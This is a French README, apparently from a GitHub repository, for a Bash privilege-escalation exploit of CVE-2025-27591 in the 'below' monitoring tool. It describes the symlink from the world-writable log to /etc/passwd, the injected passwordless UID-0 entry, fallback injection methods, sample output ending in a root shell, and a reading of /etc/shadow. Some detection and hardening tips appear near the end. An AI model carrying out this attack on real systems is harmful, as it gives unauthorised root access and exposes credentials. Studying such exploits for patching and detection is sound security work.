
Un exploit d'escalade de privilèges basé sur Bash ciblant l'outil de surveillance des performances système `below`. Cet exploit remanié exploite une vulnérabilité de lien symbolique dans le mécanisme de journalisation pour injecter un utilisateur root dans `/etc/passwd`, obtenant un accès root complet.
Un exploit d'élévation de privilèges basé sur Bash ciblant l'outil de surveillance des performances système below. Cet exploit remanié exploite une vulnérabilité de lien symbolique dans le mécanisme de journalisation pour injecter un utilisateur root dans /etc/passwd, obtenant un accès root complet.
Découvert et signalé par Matthias Gerstner @ SUSE - Avis de sécurité
/usr/bin/below (moniteur de performances système de Facebook)/var/log/below/error_root.log → /etc/passwdL'outil de surveillance below enregistre les erreurs dans /var/log/below/error_root.log lorsqu'il s'exécute avec des privilèges élevés. Si le répertoire de journalisation est modifiable par tout le monde, un attaquant peut :
error_root.log vers /etc/passwdbelow record pour écrire des messages d'erreur dans le lien symboliqueCet exploit automatise l'ensemble du processus avec des mécanismes de repli intelligents pour gérer diverses configurations système.
flowchart TD
A[Start Exploit] --> B[Get Username from User]
B --> C{Check /var/log/below<br/>World-Writable?}
C -->|No| D[Exit: Not Vulnerable]
C -->|Yes| E[Remove Existing error_root.log]
E --> F[Create Symlink:<br/>error_root.log → /etc/passwd]
F --> G{Symlink Created<br/>Successfully?}
G -->|No| D
G -->|Yes| H[Execute: sudo below record]
H --> I[Wait 3 seconds for logging]
I --> J[Kill below process]
J --> K{Payload in<br/>/etc/passwd?}
K -->|Yes| M[Success Path]
K -->|No| L[Attempt Manual Injection:<br/>echo payload >> symlink]
L --> N{Manual Injection<br/>Success?}
N -->|No| O[Try Fallback:<br/>sudo tee -a]
N -->|Yes| M
O --> P{Fallback<br/>Success?}
P -->|No| D
P -->|Yes| M
M --> Q[Verify Payload in /etc/passwd]
Q --> R[Disable Cleanup Trap]
R --> S[Execute: su username]
S --> T[Root Shell Obtained]
style A fill:#e1f5ff
style T fill:#90EE90
style D fill:#ffcccb
style M fill:#98fb98
Phase de pré-vérification
/var/log/below existePhase de configuration
error_root.log existant/var/log/below/error_root.log → /etc/passwdPhase d'injection (méthode principale)
sudo below record en arrière-plan/etc/passwd de manière utilePhase d'injection (méthodes de repli)
echo >> symlink)sudo tee -a)L'entrée injectée dans /etc/passwd suit ce format :
username::0:0:username:/root:/bin/bash
Analyse des champs :
username : Nom d'utilisateur fourni par l'utilisateur (par défaut : "0xdtc"):: : Champ de mot de passe vide (aucun mot de passe requis)0:0 : UID=0, GID=0 (privilèges root)username : Champ GECOS (description de l'utilisateur)/root : Répertoire personnel/bin/bash : Shell de connexionbelow vulnérable/var/log/below doit être modifiable par tout le mondesudo pour exécuter below record# Rendre le script exécutable
chmod +x CVE-2025-27591
# Exécuter l'exploit
./CVE-2025-27591
========================================
Exploit CVE-2025-27591 (Bash)
========================================
[*] Cet exploit va créer un nouvel utilisateur root dans /etc/passwd
[?] Entrez le nom d'utilisateur pour le nouvel utilisateur root (par défaut : 0xdtc) : monutilisateur
[+] Nom d'utilisateur utilisé : monutilisateur
0xdtc@kali:/tmp$ ./CVE-2025-27591
========================================
Exploit CVE-2025-27591 (Bash)
========================================
[*] Cet exploit va créer un nouvel utilisateur root dans /etc/passwd
[?] Entrez le nom d'utilisateur pour le nouvel utilisateur root (par défaut : 0xdtc) : 0xdtc
[+] Nom d'utilisateur utilisé : 0xdtc
[*] Vérification de la vulnérabilité CVE-2025-27591
[+] /var/log/below est modifiable par tout le monde
[*] Test de création de lien symbolique
[+] Test de lien symbolique réussi
[+] La cible est vulnérable
[*] Début de l'exploitation
[+] Charge utile écrite dans /tmp/exploit_payload
[*] Création du lien symbolique : /var/log/below/error_root.log -> /etc/passwd
[+] Lien symbolique créé
[*] Exécution de 'sudo below record' pour déclencher la journalisation
[*] 'below record' démarré avec PID : 12345
[*] Vérification si la charge utile a été écrite
[*] Tentative d'injection manuelle
[*] Ajout de la charge utile à /etc/passwd via le lien symbolique
[+] Charge utile ajoutée
[+] Exploitation terminée ! La charge utile est dans /etc/passwd
[*] Ouverture du shell root via 'su 0xdtc'
[*] Le mot de passe doit être vide, appuyez simplement sur Entrée
root@kali:/tmp# whoami
root
Le script inclut plusieurs mécanismes de repli pour gérer diverses configurations système :
Gestion des fichiers existants
Méthodes d'injection multiples
below recordsudo teeGestion des processus
below bloquésDétection de réexécution
/etc/passwd.
├── CVE-2025-27591 # Script d'exploitation principal
├── README.md # Cette documentation
└── /tmp/exploit_payload # Fichier de charge utile temporaire (créé à l'exécution)
Après une exploitation réussie, vérifiez l'accès root :
# Vérifier l'utilisateur actuel
root@target:/tmp# whoami
root
# Vérifier l'ID utilisateur et les groupes
root@target:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
# Vérifier l'utilisateur dans /etc/passwd
root@target:/tmp# grep "^0xdtc:" /etc/passwd
0xdtc::0:0:0xdtc:/root:/bin/bash
# Lire les fichiers réservés à root
root@target:/tmp# cat /etc/shadow
[... contenu du fichier shadow ...]
Si vous devez supprimer l'utilisateur malveillant après les tests :
# Supprimer l'utilisateur injecté de /etc/passwd
sudo sed -i '/^nom_utilisateur:/d' /etc/passwd
# Supprimer les liens symboliques restants
rm -f /var/log/below/error_root.log
Remplacez nom_utilisateur par le nom d'utilisateur que vous avez utilisé lors de l'exploitation.
Surveillance de l'intégrité des fichiers
# Surveiller /etc/passwd pour les modifications non autorisées
aide --check
Détection des liens symboliques
# Rechercher les liens symboliques suspects dans les répertoires de journaux
find /var/log -type l -ls
Journaux d'audit
# Vérifier l'utilisation suspecte de sudo
grep "below record" /var/log/auth.log
Corriger les permissions des répertoires
# Supprimer la permission d'écriture pour tout le monde du répertoire de journaux
sudo chmod 755 /var/log/below
Politiques AppArmor/SELinux
belowMettre à jour Below
Surveiller /etc/passwd
Cet exploit est destiné à des fins éducatives et aux tests d'intrusion autorisés uniquement.
L'accès non autorisé aux systèmes informatiques est illégal. Utilisez cet outil uniquement sur des systèmes pour lesquels vous disposez d'une autorisation explicite pour effectuer des tests de sécurité. Le(s) auteur(s) décline(nt) toute responsabilité en cas d'utilisation abusive de cet outil.
En utilisant cet exploit, vous reconnaissez que vous :
Dépôt : https://github.com/0xDTC/ Auteur : Divine Clown (0xDTC) Licence : Usage éducatif uniquement Dernière mise à jour : 2025-11-13
/etc/passwdsu <nom_utilisateur> pour obtenir un shell root